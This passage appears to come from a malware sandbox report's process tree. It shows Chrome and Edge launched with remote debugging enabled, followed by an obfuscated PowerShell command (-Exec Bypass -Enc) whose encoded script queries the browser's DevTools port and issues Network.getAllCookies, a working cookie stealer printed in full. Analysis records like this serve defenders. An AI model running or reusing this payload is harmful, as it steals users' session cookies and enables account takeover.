                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1800,i,17261965634312528430,8830443712472493183,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1272 /prefetch:11
                      3⤵
                      • System Time Discovery
                      PID:1292
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1800,i,17261965634312528430,8830443712472493183,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2272 /prefetch:13
                      3⤵
                        PID:3324
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9537 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1800,i,17261965634312528430,8830443712472493183,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2904 /prefetch:1
                        3⤵
                        • Uses browser remote debugging
                        PID:5608
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9537 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1800,i,17261965634312528430,8830443712472493183,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2908 /prefetch:1
                        3⤵
                        • Uses browser remote debugging
                        PID:4784
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9537 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1800,i,17261965634312528430,8830443712472493183,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4004 /prefetch:1
                        3⤵
                        • Uses browser remote debugging
                        PID:2552
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1800,i,17261965634312528430,8830443712472493183,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4624 /prefetch:14
                        3⤵
                          PID:2852
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9503 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --headless=new --no-first-run --disable-sync --no-default-browser-check --disable-extensions --disable-background-networking --disable-default-apps --no-sandbox --disable-gpu
                        2⤵
                        • Uses browser remote debugging
                        • Drops file in Windows directory
                        • Enumerates system info in registry
                        • Modifies data under HKEY_USERS
                        • Modifies registry class
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of WriteProcessMemory
                        PID:1216
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x258,0x25c,0x260,0x254,0x2c4,0x7ffb47d5c188,0x7ffb47d5c194,0x7ffb47d5c1a0
                          3⤵
                            PID:4984
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2380,i,4077646527315706488,8599530236355224966,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2384 /prefetch:2
                            3⤵
                              PID:3800
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2380,i,4077646527315706488,8599530236355224966,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2392 /prefetch:11
                              3⤵
                              • System Time Discovery
                              PID:2160
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2380,i,4077646527315706488,8599530236355224966,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2408 /prefetch:13
                              3⤵
                                PID:3940
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9503 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2380,i,4077646527315706488,8599530236355224966,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3336 /prefetch:1
                                3⤵
                                • Uses browser remote debugging
                                PID:2500
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9503 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2380,i,4077646527315706488,8599530236355224966,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4272 /prefetch:1
                                3⤵
                                • Uses browser remote debugging
                                PID:4800
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9503 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2380,i,4077646527315706488,8599530236355224966,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:1
                                3⤵
                                • Uses browser remote debugging
                                PID:1984
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9503 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2380,i,4077646527315706488,8599530236355224966,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4308 /prefetch:9
                                3⤵
                                • Uses browser remote debugging
                                PID:4112
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2380,i,4077646527315706488,8599530236355224966,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:14
                                3⤵
                                  PID:4708
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2380,i,4077646527315706488,8599530236355224966,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4784 /prefetch:14
                                  3⤵
                                    PID:2336
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2380,i,4077646527315706488,8599530236355224966,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5148 /prefetch:14
                                    3⤵
                                      PID:5584
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2380,i,4077646527315706488,8599530236355224966,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5148 /prefetch:14
                                      3⤵
                                        PID:2532
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADUAMwA3AC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA1ADMANwAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA="
                                      2⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:4600
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADUAMwA3AC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA1ADMANwAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAA